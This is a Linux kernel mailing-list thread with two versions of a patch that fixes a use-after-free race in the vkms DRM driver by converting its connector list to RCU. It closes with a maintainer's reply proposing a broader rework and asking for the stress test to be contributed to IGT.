The Linux Kernel Mailing List
 help / color / mirror / Atom feed
* [PATCH] drm/vkms: Fix UAF between connector configfs rmdir and .detect
@ 2026-07-09 15:06 Ibrahim Hashimov
  2026-07-09 19:51 ` [PATCH v2] " Ibrahim Hashimov
  0 siblings, 1 reply; 5+ messages in thread
From: Ibrahim Hashimov @ 2026-07-09 15:06 UTC (permalink / raw)
  To: Louis Chauvet, Maarten Lankhorst, Maxime Ripard,
	Thomas Zimmermann, David Airlie
  Cc: Haneen Mohammed, Simona Vetter, Melissa Wen, dri-devel,
	linux-kernel, stable

vkms_connector_detect() walks config->connectors via
vkms_config_for_each_connector(), which expands to a plain
list_for_each_entry() over vkms_config::connectors with no lock and no
RCU protection.

Concurrently, rmdir'ing a connector's configfs directory calls
connector_release(), which takes the configfs device mutex
(connector->dev->lock) and calls vkms_config_destroy_connector(),
which does:

	list_del(&connector_cfg->link);
	kfree(connector_cfg);

Unlike make_crtc_group()/make_plane_group()/make_encoder_group()/
make_connector_group() and the possible_crtcs/possible_encoders
allow_link() callbacks -- all of which refuse the operation with
-EBUSY while the device is enabled -- connector_release() has no such
guard, and in fact cannot be given one: release() runs after configfs
has already committed to removing the directory, so it cannot fail the
rmdir(2) syscall with -EBUSY. A connector's configfs directory can
therefore be removed, and its vkms_config_connector freed, at any time
while the device is live and its DRM connector is still being probed.

vkms_connector_detect() is reached from userspace by writing "detect"
to /sys/class/drm/<card>-<conn>/status (drm_sysfs status_store() ->
drm_helper_probe_single_connector_modes() -> .detect), which runs under
drm_device.mode_config.mutex. Nothing prevents this from running at
the same time as the configfs rmdir above, since the two paths take
entirely different locks (configfs connector->dev->lock vs. DRM's
mode_config.mutex) over the same vkms_config_connector object. Both
sides require local root/CAP_SYS_ADMIN: the vkms configfs tree is
root-owned (0755) and the connector's sysfs status attribute is
root-writable by default, so this is a local-root race, not an
unprivileged-user or remote issue.

The result is a classic race-into-use-after-free: the unlocked iterator
dereferences connector_cfg->connector or follows connector_cfg->link
into memory that connector_release() has already kfree()'d, or reads
connector_cfg->status out of freed memory. This reproduces as a KASAN
slab-use-after-free in vkms_connector_detect() under a detect-hammer
vs. connector-rmdir stress loop.

A tempting minimal fix is to have vkms_connector_detect() take the
same configfs device lock (connector->dev->lock) that
connector_release() already holds while unlinking/freeing. That would
deadlock: vkms_destroy() (reached from device_enabled_store() while
connector->dev->lock is held) calls drm_dev_unregister() and
drm_atomic_helper_shutdown(), both of which take
drm_device.mode_config.mutex internally. That establishes lock order
configfs-lock -> mode_config.mutex on the teardown path, while
vkms_connector_detect() always runs already holding
mode_config.mutex -- so having it additionally acquire the configfs
lock would order it mode_config.mutex -> configfs-lock, the exact
reverse (ABBA).

Fix the race with RCU instead, decoupling the free side from the read
side without introducing a new lock-ordering constraint:

  - vkms_config_create_connector() links with list_add_tail_rcu()
    instead of list_add_tail().
  - vkms_config_destroy_connector() unlinks with list_del_rcu() instead
    of list_del(), and defers the actual free with kfree_rcu() instead
    of kfree(). xa_destroy() of connector_cfg->possible_encoders still
    runs synchronously, which is safe because no RCU reader (i.e.
    vkms_connector_detect()) ever touches that field.
  - A new vkms_config_for_each_connector_rcu() iterator
    (list_for_each_entry_rcu()) is added alongside the existing
    vkms_config_for_each_connector() for the other (non-concurrent,
    configfs-lock-serialized) call sites, and used only in
    vkms_connector_detect(), wrapped in rcu_read_lock()/
    rcu_read_unlock().

This is the same pattern DRM core already uses to let connector
iteration (drm_connector_list_iter) survive concurrent connector
teardown without holding mode_config.mutex across the whole walk;
here it is applied locally to vkms's own configfs connector list,
matching the existing "protect the config lists, use RCU when a
reader can't take the writer's lock" discipline already present in
the file.

No other vkms_config_for_each_connector() call site (vkms_output.c,
vkms_config.c is_valid()/debugfs helpers) races a concurrent free:
they all run either at device-build time (single-threaded) or already
under connector->dev->lock, so they are left untouched to keep the fix
minimal and scoped to the reported sink.

Verified on a v6.19 KASAN-instrumented build: a detect-hammer vs.
connector-rmdir stress loop reliably tripped a "KASAN: slab-use-after-
free in vkms_connector_detect" report before this patch; with the fix
applied, the same stress loop no longer produces any KASAN report.

Fixes: 466f43885ac0 ("drm/vkms: Allow to update the connector status")
Cc: stable@vger.kernel.org
Signed-off-by: Ibrahim Hashimov <security@auditcode.ai>
Assisted-by: AuditCode-AI:2026.07
---
 drivers/gpu/drm/vkms/vkms_config.c    | 24 +++++++++++++++++++++---
 drivers/gpu/drm/vkms/vkms_config.h    | 22 ++++++++++++++++++++++
 drivers/gpu/drm/vkms/vkms_connector.c | 16 +++++++++++++++-
 3 files changed, 58 insertions(+), 4 deletions(-)

diff --git a/drivers/gpu/drm/vkms/vkms_config.c b/drivers/gpu/drm/vkms/vkms_config.c
index 5a654d6dead8..fc402cf48775 100644
--- a/drivers/gpu/drm/vkms/vkms_config.c
+++ b/drivers/gpu/drm/vkms/vkms_config.c
@@ -1,5 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0+
 
+#include <linux/rculist.h>
+#include <linux/rcupdate.h>
 #include <linux/slab.h>
 
 #include <drm/drm_print.h>
@@ -599,7 +601,12 @@ struct vkms_config_connector *vkms_config_create_connector(struct vkms_config *c
 	connector_cfg->status = connector_status_connected;
 	xa_init_flags(&connector_cfg->possible_encoders, XA_FLAGS_ALLOC);
 
-	list_add_tail(&connector_cfg->link, &config->connectors);
+	/*
+	 * Paired with vkms_config_for_each_connector_rcu() in
+	 * vkms_connector_detect(), which may walk this list without holding
+	 * the configfs device lock.
+	 */
+	list_add_tail_rcu(&connector_cfg->link, &config->connectors);
 
 	return connector_cfg;
 }
@@ -608,8 +615,19 @@ EXPORT_SYMBOL_IF_KUNIT(vkms_config_create_connector);
 void vkms_config_destroy_connector(struct vkms_config_connector *connector_cfg)
 {
 	xa_destroy(&connector_cfg->possible_encoders);
-	list_del(&connector_cfg->link);
-	kfree(connector_cfg);
+
+	/*
+	 * connector_release() (vkms_configfs.c) can free a connector while
+	 * vkms_connector_detect() is concurrently walking the connectors list
+	 * under its own RCU read-side critical section (it cannot take the
+	 * configfs device lock: it already runs under
+	 * drm_device.mode_config.mutex, and vkms_destroy() takes the two
+	 * locks in the opposite order, so plain locking here would deadlock).
+	 * Unlink with the RCU-safe primitive and defer the free to after a
+	 * grace period so concurrent readers never dereference freed memory.
+	 */
+	list_del_rcu(&connector_cfg->link);
+	kfree_rcu(connector_cfg, rcu);
 }
 EXPORT_SYMBOL_IF_KUNIT(vkms_config_destroy_connector);
 
diff --git a/drivers/gpu/drm/vkms/vkms_config.h b/drivers/gpu/drm/vkms/vkms_config.h
index 8f7f286a4bdd..127076a9280b 100644
--- a/drivers/gpu/drm/vkms/vkms_config.h
+++ b/drivers/gpu/drm/vkms/vkms_config.h
@@ -4,6 +4,7 @@
 #define _VKMS_CONFIG_H_
 
 #include <linux/list.h>
+#include <linux/rculist.h>
 #include <linux/types.h>
 #include <linux/xarray.h>
 
@@ -108,6 +109,9 @@ struct vkms_config_encoder {
  *             It can be used to store a temporary reference to a VKMS connector
  *             during device creation. This pointer is not managed by the
  *             configuration and must be managed by other means.
+ * @rcu: Used to free the connector configuration after a grace period, so that
+ *       vkms_config_for_each_connector_rcu() readers (e.g. .detect) can safely
+ *       run concurrently with configfs teardown (see vkms_config_destroy_connector()).
  */
 struct vkms_config_connector {
 	struct list_head link;
@@ -118,6 +122,8 @@ struct vkms_config_connector {
 
 	/* Internal usage */
 	struct vkms_connector *connector;
+
+	struct rcu_head rcu;
 };
 
 /**
@@ -152,6 +158,22 @@ struct vkms_config_connector {
 #define vkms_config_for_each_connector(config, connector_cfg) \
 	list_for_each_entry((connector_cfg), &(config)->connectors, link)
 
+/**
+ * vkms_config_for_each_connector_rcu - RCU-safe iteration over the vkms_config
+ * connectors
+ * @config: &struct vkms_config pointer
+ * @connector_cfg: &struct vkms_config_connector pointer used as cursor
+ *
+ * Unlike vkms_config_for_each_connector(), this may be used without holding
+ * the configfs device lock, from contexts (such as &drm_connector_funcs.detect)
+ * that must not block on it. Callers must wrap the iteration in
+ * rcu_read_lock() / rcu_read_unlock(); see vkms_config_destroy_connector(),
+ * which pairs with this by unlinking with list_del_rcu() and freeing with
+ * kfree_rcu().
+ */
+#define vkms_config_for_each_connector_rcu(config, connector_cfg) \
+	list_for_each_entry_rcu((connector_cfg), &(config)->connectors, link)
+
 /**
  * vkms_config_plane_for_each_possible_crtc - Iterate over the vkms_config_plane
  * possible CRTCs
diff --git a/drivers/gpu/drm/vkms/vkms_connector.c b/drivers/gpu/drm/vkms/vkms_connector.c
index b0a6b212d3f4..c43948de2b01 100644
--- a/drivers/gpu/drm/vkms/vkms_connector.c
+++ b/drivers/gpu/drm/vkms/vkms_connector.c
@@ -1,5 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0+
 
+#include <linux/rcupdate.h>
+
 #include <drm/drm_atomic_helper.h>
 #include <drm/drm_edid.h>
 #include <drm/drm_managed.h>
@@ -26,10 +28,22 @@ static enum drm_connector_status vkms_connector_detect(struct drm_connector *con
 	 */
 	status = connector->status;
 
-	vkms_config_for_each_connector(vkmsdev->config, connector_cfg) {
+	/*
+	 * configfs can free connector_cfg concurrently (connector_release() ->
+	 * vkms_config_destroy_connector(), on an rmdir of the connector's
+	 * configfs directory) without taking drm_device.mode_config.mutex,
+	 * which this .detect callback is always called under. Walk the RCU-
+	 * protected list instead of taking the configfs device lock here: the
+	 * two locks are already nested in the opposite order by
+	 * vkms_destroy(), so acquiring the configfs lock from under
+	 * mode_config.mutex would deadlock.
+	 */
+	rcu_read_lock();
+	vkms_config_for_each_connector_rcu(vkmsdev->config, connector_cfg) {
 		if (connector_cfg->connector == vkms_connector)
 			status = vkms_config_connector_get_status(connector_cfg);
 	}
+	rcu_read_unlock();
 
 	return status;
 }
-- 
2.50.1 (Apple Git-155)


^ permalink raw reply related	[flat|nested] 5+ messages in thread

* [PATCH v2] drm/vkms: Fix UAF between connector configfs rmdir and .detect
  2026-07-09 15:06 [PATCH] drm/vkms: Fix UAF between connector configfs rmdir and .detect Ibrahim Hashimov
@ 2026-07-09 19:51 ` Ibrahim Hashimov
  2026-07-22 15:56   ` Louis Chauvet
  0 siblings, 1 reply; 5+ messages in thread
From: Ibrahim Hashimov @ 2026-07-09 19:51 UTC (permalink / raw)
  To: louis.chauvet, hamohammed.sa, melissa.srw, simona
  Cc: maarten.lankhorst, mripard, tzimmermann, airlied, luca.ceresoli,
	harry.wentland, jose.exposito89, dri-devel, linux-kernel, stable

vkms_connector_detect() walks config->connectors via
vkms_config_for_each_connector(), which expands to a plain
list_for_each_entry() over vkms_config::connectors with no lock and no
RCU protection.

Concurrently, rmdir'ing a connector's configfs directory calls
connector_release(), which takes the configfs device mutex
(connector->dev->lock) and calls vkms_config_destroy_connector(),
which does:

	list_del(&connector_cfg->link);
	kfree(connector_cfg);

Unlike make_crtc_group()/make_plane_group()/make_encoder_group()/
make_connector_group() and the possible_crtcs/possible_encoders
allow_link() callbacks, all of which refuse the operation with -EBUSY
while the device is enabled, connector_release() has no such guard, and
in fact cannot be given one: release() runs after configfs has already
committed to removing the directory, so it cannot fail the rmdir(2)
syscall with -EBUSY. A connector's configfs directory can therefore be
removed, and its vkms_config_connector freed, at any time while the
device is live and its DRM connector is still being probed.

vkms_connector_detect() is reached from userspace by writing "detect"
to /sys/class/drm/<card>-<conn>/status (drm_sysfs status_store() ->
drm_helper_probe_single_connector_modes() -> .detect), which runs under
drm_device.mode_config.mutex. Nothing prevents this from running at the
same time as the configfs rmdir above, since the two paths take
entirely different locks (configfs connector->dev->lock vs. DRM's
mode_config.mutex) over the same vkms_config_connector object. Both
sides require local root/CAP_SYS_ADMIN: the vkms configfs tree is
root-owned (0755) and the connector's sysfs status attribute is
root-writable by default, so this is a local-root race, not an
unprivileged-user or remote issue.

The result is a classic race-into-use-after-free: the unlocked iterator
dereferences connector_cfg->connector or follows connector_cfg->link
into memory that connector_release() has already kfree()'d, or reads
connector_cfg->status out of freed memory. This reproduces as a KASAN
slab-use-after-free in vkms_connector_detect() under a detect-hammer
vs. connector-rmdir stress loop.

A tempting minimal fix is to have vkms_connector_detect() take the same
configfs device lock (connector->dev->lock) that connector_release()
already holds while unlinking/freeing. That would deadlock:
vkms_destroy() (reached from device_enabled_store() while
connector->dev->lock is held) calls drm_dev_unregister() and
drm_atomic_helper_shutdown(), both of which take
drm_device.mode_config.mutex internally. That establishes lock order
configfs-lock -> mode_config.mutex on the teardown path, while
vkms_connector_detect() always runs already holding mode_config.mutex,
so having it additionally acquire the configfs lock would order it
mode_config.mutex -> configfs-lock, the exact reverse (ABBA).

Fix the race with RCU instead, decoupling the free side from the read
side without introducing a new lock-ordering constraint:

  - vkms_config_create_connector() links with list_add_tail_rcu()
    instead of list_add_tail().
  - vkms_config_destroy_connector() unlinks with list_del_rcu() before
    it destroys the object, then defers the free with kfree_rcu()
    instead of kfree(). It unlinks first so the object is removed from
    the list before it is reclaimed; xa_destroy() of
    connector_cfg->possible_encoders then runs synchronously between the
    unlink and the deferred free, which is safe because no RCU reader
    (i.e. vkms_connector_detect()) ever dereferences that field.
  - A new vkms_config_for_each_connector_rcu() iterator
    (list_for_each_entry_rcu()) is added alongside the existing
    vkms_config_for_each_connector() for the other (non-concurrent,
    configfs-lock-serialized) call sites, and used only in
    vkms_connector_detect(), wrapped in rcu_read_lock()/
    rcu_read_unlock().

This is the same pattern DRM core already uses to let connector
iteration (drm_connector_list_iter) survive concurrent connector
teardown without holding mode_config.mutex across the whole walk; here
it is applied locally to vkms's own configfs connector list, matching
the existing "protect the config lists, use RCU when a reader can't
take the writer's lock" discipline already present in the file.

This patch is scoped to the .detect sink. vkms_config_show(), the read
handler for the "vkms_config" debugfs file, also walks the plane, CRTC,
encoder and connector config lists without any lock or RCU protection,
and is subject to a separate, pre-existing use-after-free against a
concurrent configfs rmdir. Fixing it properly requires RCU-converting
the plane, CRTC and encoder teardown paths too:
vkms_config_destroy_plane(), vkms_config_destroy_crtc() and
vkms_config_destroy_encoder() still free their objects non-RCU (plain
list_del() + kfree()), so the RCU conversion done here for connectors
alone is not enough to make that debugfs walk safe. That is left as a
separate follow-up and is not addressed here.

Verified on a v6.19 KASAN-instrumented build: a detect-hammer vs.
connector-rmdir stress loop reliably tripped a "KASAN: slab-use-after-
free in vkms_connector_detect" report before this patch; with the fix
applied, the same stress loop no longer produces any KASAN report.

Fixes: 466f43885ac0 ("drm/vkms: Allow to update the connector status")
Cc: stable@vger.kernel.org
Signed-off-by: Ibrahim Hashimov <security@auditcode.ai>
Assisted-by: AuditCode-AI:2026.07
---
v2: address sashiko-bot review of v1
(https://lore.kernel.org/dri-devel/20260709150637.45052-1-security@auditcode.ai/):
reorder vkms_config_destroy_connector() to unlink (list_del_rcu) before
destroying components (xa_destroy) for remove-before-reclaim ordering; drop the
v1 claim that vkms_config_show() is safe -- it is a separate pre-existing
lockless-traversal issue, noted as out of scope. No change to the RCU .detect fix.
 drivers/gpu/drm/vkms/vkms_config.c    | 28 ++++++++++++++++++++++++---
 drivers/gpu/drm/vkms/vkms_config.h    | 22 +++++++++++++++++++++
 drivers/gpu/drm/vkms/vkms_connector.c | 16 ++++++++++++++-
 3 files changed, 62 insertions(+), 4 deletions(-)

diff --git a/drivers/gpu/drm/vkms/vkms_config.c b/drivers/gpu/drm/vkms/vkms_config.c
index 5a654d6dead8..a44e0567f8a3 100644
--- a/drivers/gpu/drm/vkms/vkms_config.c
+++ b/drivers/gpu/drm/vkms/vkms_config.c
@@ -1,5 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0+
 
+#include <linux/rculist.h>
+#include <linux/rcupdate.h>
 #include <linux/slab.h>
 
 #include <drm/drm_print.h>
@@ -599,7 +601,12 @@ struct vkms_config_connector *vkms_config_create_connector(struct vkms_config *c
 	connector_cfg->status = connector_status_connected;
 	xa_init_flags(&connector_cfg->possible_encoders, XA_FLAGS_ALLOC);
 
-	list_add_tail(&connector_cfg->link, &config->connectors);
+	/*
+	 * Paired with vkms_config_for_each_connector_rcu() in
+	 * vkms_connector_detect(), which may walk this list without holding
+	 * the configfs device lock.
+	 */
+	list_add_tail_rcu(&connector_cfg->link, &config->connectors);
 
 	return connector_cfg;
 }
@@ -607,9 +614,24 @@ EXPORT_SYMBOL_IF_KUNIT(vkms_config_create_connector);
 
 void vkms_config_destroy_connector(struct vkms_config_connector *connector_cfg)
 {
+	/*
+	 * connector_release() (vkms_configfs.c) can free a connector while
+	 * vkms_connector_detect() is concurrently walking the connectors list
+	 * under its own RCU read-side critical section (it cannot take the
+	 * configfs device lock: it already runs under
+	 * drm_device.mode_config.mutex, and vkms_destroy() takes the two
+	 * locks in the opposite order, so plain locking here would deadlock).
+	 *
+	 * Unlink from the list before destroying the object's components, so
+	 * the object is removed before it is reclaimed. After list_del_rcu()
+	 * no new reader can reach it, and the only RCU reader
+	 * (vkms_connector_detect()) never dereferences possible_encoders, so
+	 * tearing that down next is safe. Defer the free to after a grace
+	 * period so concurrent readers never touch freed memory.
+	 */
+	list_del_rcu(&connector_cfg->link);
 	xa_destroy(&connector_cfg->possible_encoders);
-	list_del(&connector_cfg->link);
-	kfree(connector_cfg);
+	kfree_rcu(connector_cfg, rcu);
 }
 EXPORT_SYMBOL_IF_KUNIT(vkms_config_destroy_connector);
 
diff --git a/drivers/gpu/drm/vkms/vkms_config.h b/drivers/gpu/drm/vkms/vkms_config.h
index 8f7f286a4bdd..127076a9280b 100644
--- a/drivers/gpu/drm/vkms/vkms_config.h
+++ b/drivers/gpu/drm/vkms/vkms_config.h
@@ -4,6 +4,7 @@
 #define _VKMS_CONFIG_H_
 
 #include <linux/list.h>
+#include <linux/rculist.h>
 #include <linux/types.h>
 #include <linux/xarray.h>
 
@@ -108,6 +109,9 @@ struct vkms_config_encoder {
  *             It can be used to store a temporary reference to a VKMS connector
  *             during device creation. This pointer is not managed by the
  *             configuration and must be managed by other means.
+ * @rcu: Used to free the connector configuration after a grace period, so that
+ *       vkms_config_for_each_connector_rcu() readers (e.g. .detect) can safely
+ *       run concurrently with configfs teardown (see vkms_config_destroy_connector()).
  */
 struct vkms_config_connector {
 	struct list_head link;
@@ -118,6 +122,8 @@ struct vkms_config_connector {
 
 	/* Internal usage */
 	struct vkms_connector *connector;
+
+	struct rcu_head rcu;
 };
 
 /**
@@ -152,6 +158,22 @@ struct vkms_config_connector {
 #define vkms_config_for_each_connector(config, connector_cfg) \
 	list_for_each_entry((connector_cfg), &(config)->connectors, link)
 
+/**
+ * vkms_config_for_each_connector_rcu - RCU-safe iteration over the vkms_config
+ * connectors
+ * @config: &struct vkms_config pointer
+ * @connector_cfg: &struct vkms_config_connector pointer used as cursor
+ *
+ * Unlike vkms_config_for_each_connector(), this may be used without holding
+ * the configfs device lock, from contexts (such as &drm_connector_funcs.detect)
+ * that must not block on it. Callers must wrap the iteration in
+ * rcu_read_lock() / rcu_read_unlock(); see vkms_config_destroy_connector(),
+ * which pairs with this by unlinking with list_del_rcu() and freeing with
+ * kfree_rcu().
+ */
+#define vkms_config_for_each_connector_rcu(config, connector_cfg) \
+	list_for_each_entry_rcu((connector_cfg), &(config)->connectors, link)
+
 /**
  * vkms_config_plane_for_each_possible_crtc - Iterate over the vkms_config_plane
  * possible CRTCs
diff --git a/drivers/gpu/drm/vkms/vkms_connector.c b/drivers/gpu/drm/vkms/vkms_connector.c
index b0a6b212d3f4..c43948de2b01 100644
--- a/drivers/gpu/drm/vkms/vkms_connector.c
+++ b/drivers/gpu/drm/vkms/vkms_connector.c
@@ -1,5 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0+
 
+#include <linux/rcupdate.h>
+
 #include <drm/drm_atomic_helper.h>
 #include <drm/drm_edid.h>
 #include <drm/drm_managed.h>
@@ -26,10 +28,22 @@ static enum drm_connector_status vkms_connector_detect(struct drm_connector *con
 	 */
 	status = connector->status;
 
-	vkms_config_for_each_connector(vkmsdev->config, connector_cfg) {
+	/*
+	 * configfs can free connector_cfg concurrently (connector_release() ->
+	 * vkms_config_destroy_connector(), on an rmdir of the connector's
+	 * configfs directory) without taking drm_device.mode_config.mutex,
+	 * which this .detect callback is always called under. Walk the RCU-
+	 * protected list instead of taking the configfs device lock here: the
+	 * two locks are already nested in the opposite order by
+	 * vkms_destroy(), so acquiring the configfs lock from under
+	 * mode_config.mutex would deadlock.
+	 */
+	rcu_read_lock();
+	vkms_config_for_each_connector_rcu(vkmsdev->config, connector_cfg) {
 		if (connector_cfg->connector == vkms_connector)
 			status = vkms_config_connector_get_status(connector_cfg);
 	}
+	rcu_read_unlock();
 
 	return status;
 }
-- 
2.50.1 (Apple Git-155)


^ permalink raw reply related	[flat|nested] 5+ messages in thread

* Re: [PATCH v2] drm/vkms: Fix UAF between connector configfs rmdir and .detect
  2026-07-09 19:51 ` [PATCH v2] " Ibrahim Hashimov
@ 2026-07-22 15:56   ` Louis Chauvet
  2026-07-22 18:31     ` Ibrahim Hashimov
  2026-07-22 18:42     ` Ibrahim Hashimov
  0 siblings, 2 replies; 5+ messages in thread
From: Louis Chauvet @ 2026-07-22 15:56 UTC (permalink / raw)
  To: Ibrahim Hashimov, hamohammed.sa, melissa.srw, simona
  Cc: maarten.lankhorst, mripard, tzimmermann, airlied, luca.ceresoli,
	harry.wentland, jose.exposito89, dri-devel, linux-kernel, stable

Hello,

Thanks for this report and patch. I am currently working on a series 
adding even more stuff in vkms_config, so I am trying to solve it for 
the whole vkms_config structure.

In total I have 4 new places with a similar issue (use after free due to 
dependency between configfs and drm, plus existing one you already 
reported), and I would like to avoid this kind of "do I need rcu" every 
time a new property is added. I will send it to you as soon as possible 
so you can review and test if it fixes your issue. My current 
implementation is basically:
- removing the ABBA deadlock by avoiding the locking when comming from 
the DRM side
- adding few refcounts so I don't have to iterate over the connector 
list every time I want to access the connector object
- Maybe one RCU for the EDID

In the meantime, do you have the script that you used to do the 
hammering? Or even better, can you contribute this test to IGT[1] so we 
can ensure there will be no regression?

Thansk a lot,
Louis Chauvet

[1]: https://gitlab.freedesktop.org/drm/igt-gpu-tools

On 7/9/26 21:51, Ibrahim Hashimov wrote:
> vkms_connector_detect() walks config->connectors via
> vkms_config_for_each_connector(), which expands to a plain
> list_for_each_entry() over vkms_config::connectors with no lock and no
> RCU protection.
> 
> Concurrently, rmdir'ing a connector's configfs directory calls
> connector_release(), which takes the configfs device mutex
> (connector->dev->lock) and calls vkms_config_destroy_connector(),
> which does:
> 
> 	list_del(&connector_cfg->link);
> 	kfree(connector_cfg);
> 
> Unlike make_crtc_group()/make_plane_group()/make_encoder_group()/
> make_connector_group() and the possible_crtcs/possible_encoders
> allow_link() callbacks, all of which refuse the operation with -EBUSY
> while the device is enabled, connector_release() has no such guard, and
> in fact cannot be given one: release() runs after configfs has already
> committed to removing the directory, so it cannot fail the rmdir(2)
> syscall with -EBUSY. A connector's configfs directory can therefore be
> removed, and its vkms_config_connector freed, at any time while the
> device is live and its DRM connector is still being probed.
> 
> vkms_connector_detect() is reached from userspace by writing "detect"
> to /sys/class/drm/<card>-<conn>/status (drm_sysfs status_store() ->
> drm_helper_probe_single_connector_modes() -> .detect), which runs under
> drm_device.mode_config.mutex. Nothing prevents this from running at the
> same time as the configfs rmdir above, since the two paths take
> entirely different locks (configfs connector->dev->lock vs. DRM's
> mode_config.mutex) over the same vkms_config_connector object. Both
> sides require local root/CAP_SYS_ADMIN: the vkms configfs tree is
> root-owned (0755) and the connector's sysfs status attribute is
> root-writable by default, so this is a local-root race, not an
> unprivileged-user or remote issue.
> 
> The result is a classic race-into-use-after-free: the unlocked iterator
> dereferences connector_cfg->connector or follows connector_cfg->link
> into memory that connector_release() has already kfree()'d, or reads
> connector_cfg->status out of freed memory. This reproduces as a KASAN
> slab-use-after-free in vkms_connector_detect() under a detect-hammer
> vs. connector-rmdir stress loop.
> 
> A tempting minimal fix is to have vkms_connector_detect() take the same
> configfs device lock (connector->dev->lock) that connector_release()
> already holds while unlinking/freeing. That would deadlock:
> vkms_destroy() (reached from device_enabled_store() while
> connector->dev->lock is held) calls drm_dev_unregister() and
> drm_atomic_helper_shutdown(), both of which take
> drm_device.mode_config.mutex internally. That establishes lock order
> configfs-lock -> mode_config.mutex on the teardown path, while
> vkms_connector_detect() always runs already holding mode_config.mutex,
> so having it additionally acquire the configfs lock would order it
> mode_config.mutex -> configfs-lock, the exact reverse (ABBA).
> 
> Fix the race with RCU instead, decoupling the free side from the read
> side without introducing a new lock-ordering constraint:
> 
>    - vkms_config_create_connector() links with list_add_tail_rcu()
>      instead of list_add_tail().
>    - vkms_config_destroy_connector() unlinks with list_del_rcu() before
>      it destroys the object, then defers the free with kfree_rcu()
>      instead of kfree(). It unlinks first so the object is removed from
>      the list before it is reclaimed; xa_destroy() of
>      connector_cfg->possible_encoders then runs synchronously between the
>      unlink and the deferred free, which is safe because no RCU reader
>      (i.e. vkms_connector_detect()) ever dereferences that field.
>    - A new vkms_config_for_each_connector_rcu() iterator
>      (list_for_each_entry_rcu()) is added alongside the existing
>      vkms_config_for_each_connector() for the other (non-concurrent,
>      configfs-lock-serialized) call sites, and used only in
>      vkms_connector_detect(), wrapped in rcu_read_lock()/
>      rcu_read_unlock().
> 
> This is the same pattern DRM core already uses to let connector
> iteration (drm_connector_list_iter) survive concurrent connector
> teardown without holding mode_config.mutex across the whole walk; here
> it is applied locally to vkms's own configfs connector list, matching
> the existing "protect the config lists, use RCU when a reader can't
> take the writer's lock" discipline already present in the file.
> 
> This patch is scoped to the .detect sink. vkms_config_show(), the read
> handler for the "vkms_config" debugfs file, also walks the plane, CRTC,
> encoder and connector config lists without any lock or RCU protection,
> and is subject to a separate, pre-existing use-after-free against a
> concurrent configfs rmdir. Fixing it properly requires RCU-converting
> the plane, CRTC and encoder teardown paths too:
> vkms_config_destroy_plane(), vkms_config_destroy_crtc() and
> vkms_config_destroy_encoder() still free their objects non-RCU (plain
> list_del() + kfree()), so the RCU conversion done here for connectors
> alone is not enough to make that debugfs walk safe. That is left as a
> separate follow-up and is not addressed here.
> 
> Verified on a v6.19 KASAN-instrumented build: a detect-hammer vs.
> connector-rmdir stress loop reliably tripped a "KASAN: slab-use-after-
> free in vkms_connector_detect" report before this patch; with the fix
> applied, the same stress loop no longer produces any KASAN report.
> 
> Fixes: 466f43885ac0 ("drm/vkms: Allow to update the connector status")
> Cc: stable@vger.kernel.org
> Signed-off-by: Ibrahim Hashimov <security@auditcode.ai>
> Assisted-by: AuditCode-AI:2026.07
> ---
> v2: address sashiko-bot review of v1
> (https://lore.kernel.org/dri-devel/20260709150637.45052-1-security@auditcode.ai/):
> reorder vkms_config_destroy_connector() to unlink (list_del_rcu) before
> destroying components (xa_destroy) for remove-before-reclaim ordering; drop the
> v1 claim that vkms_config_show() is safe -- it is a separate pre-existing
> lockless-traversal issue, noted as out of scope. No change to the RCU .detect fix.
>   drivers/gpu/drm/vkms/vkms_config.c    | 28 ++++++++++++++++++++++++---
>   drivers/gpu/drm/vkms/vkms_config.h    | 22 +++++++++++++++++++++
>   drivers/gpu/drm/vkms/vkms_connector.c | 16 ++++++++++++++-
>   3 files changed, 62 insertions(+), 4 deletions(-)
> 
> diff --git a/drivers/gpu/drm/vkms/vkms_config.c b/drivers/gpu/drm/vkms/vkms_config.c
> index 5a654d6dead8..a44e0567f8a3 100644
> --- a/drivers/gpu/drm/vkms/vkms_config.c
> +++ b/drivers/gpu/drm/vkms/vkms_config.c
> @@ -1,5 +1,7 @@
>   // SPDX-License-Identifier: GPL-2.0+
>   
> +#include <linux/rculist.h>
> +#include <linux/rcupdate.h>
>   #include <linux/slab.h>
>   
>   #include <drm/drm_print.h>
> @@ -599,7 +601,12 @@ struct vkms_config_connector *vkms_config_create_connector(struct vkms_config *c
>   	connector_cfg->status = connector_status_connected;
>   	xa_init_flags(&connector_cfg->possible_encoders, XA_FLAGS_ALLOC);
>   
> -	list_add_tail(&connector_cfg->link, &config->connectors);
> +	/*
> +	 * Paired with vkms_config_for_each_connector_rcu() in
> +	 * vkms_connector_detect(), which may walk this list without holding
> +	 * the configfs device lock.
> +	 */
> +	list_add_tail_rcu(&connector_cfg->link, &config->connectors);
>   
>   	return connector_cfg;
>   }
> @@ -607,9 +614,24 @@ EXPORT_SYMBOL_IF_KUNIT(vkms_config_create_connector);
>   
>   void vkms_config_destroy_connector(struct vkms_config_connector *connector_cfg)
>   {
> +	/*
> +	 * connector_release() (vkms_configfs.c) can free a connector while
> +	 * vkms_connector_detect() is concurrently walking the connectors list
> +	 * under its own RCU read-side critical section (it cannot take the
> +	 * configfs device lock: it already runs under
> +	 * drm_device.mode_config.mutex, and vkms_destroy() takes the two
> +	 * locks in the opposite order, so plain locking here would deadlock).
> +	 *
> +	 * Unlink from the list before destroying the object's components, so
> +	 * the object is removed before it is reclaimed. After list_del_rcu()
> +	 * no new reader can reach it, and the only RCU reader
> +	 * (vkms_connector_detect()) never dereferences possible_encoders, so
> +	 * tearing that down next is safe. Defer the free to after a grace
> +	 * period so concurrent readers never touch freed memory.
> +	 */
> +	list_del_rcu(&connector_cfg->link);
>   	xa_destroy(&connector_cfg->possible_encoders);
> -	list_del(&connector_cfg->link);
> -	kfree(connector_cfg);
> +	kfree_rcu(connector_cfg, rcu);
>   }
>   EXPORT_SYMBOL_IF_KUNIT(vkms_config_destroy_connector);
>   
> diff --git a/drivers/gpu/drm/vkms/vkms_config.h b/drivers/gpu/drm/vkms/vkms_config.h
> index 8f7f286a4bdd..127076a9280b 100644
> --- a/drivers/gpu/drm/vkms/vkms_config.h
> +++ b/drivers/gpu/drm/vkms/vkms_config.h
> @@ -4,6 +4,7 @@
>   #define _VKMS_CONFIG_H_
>   
>   #include <linux/list.h>
> +#include <linux/rculist.h>
>   #include <linux/types.h>
>   #include <linux/xarray.h>
>   
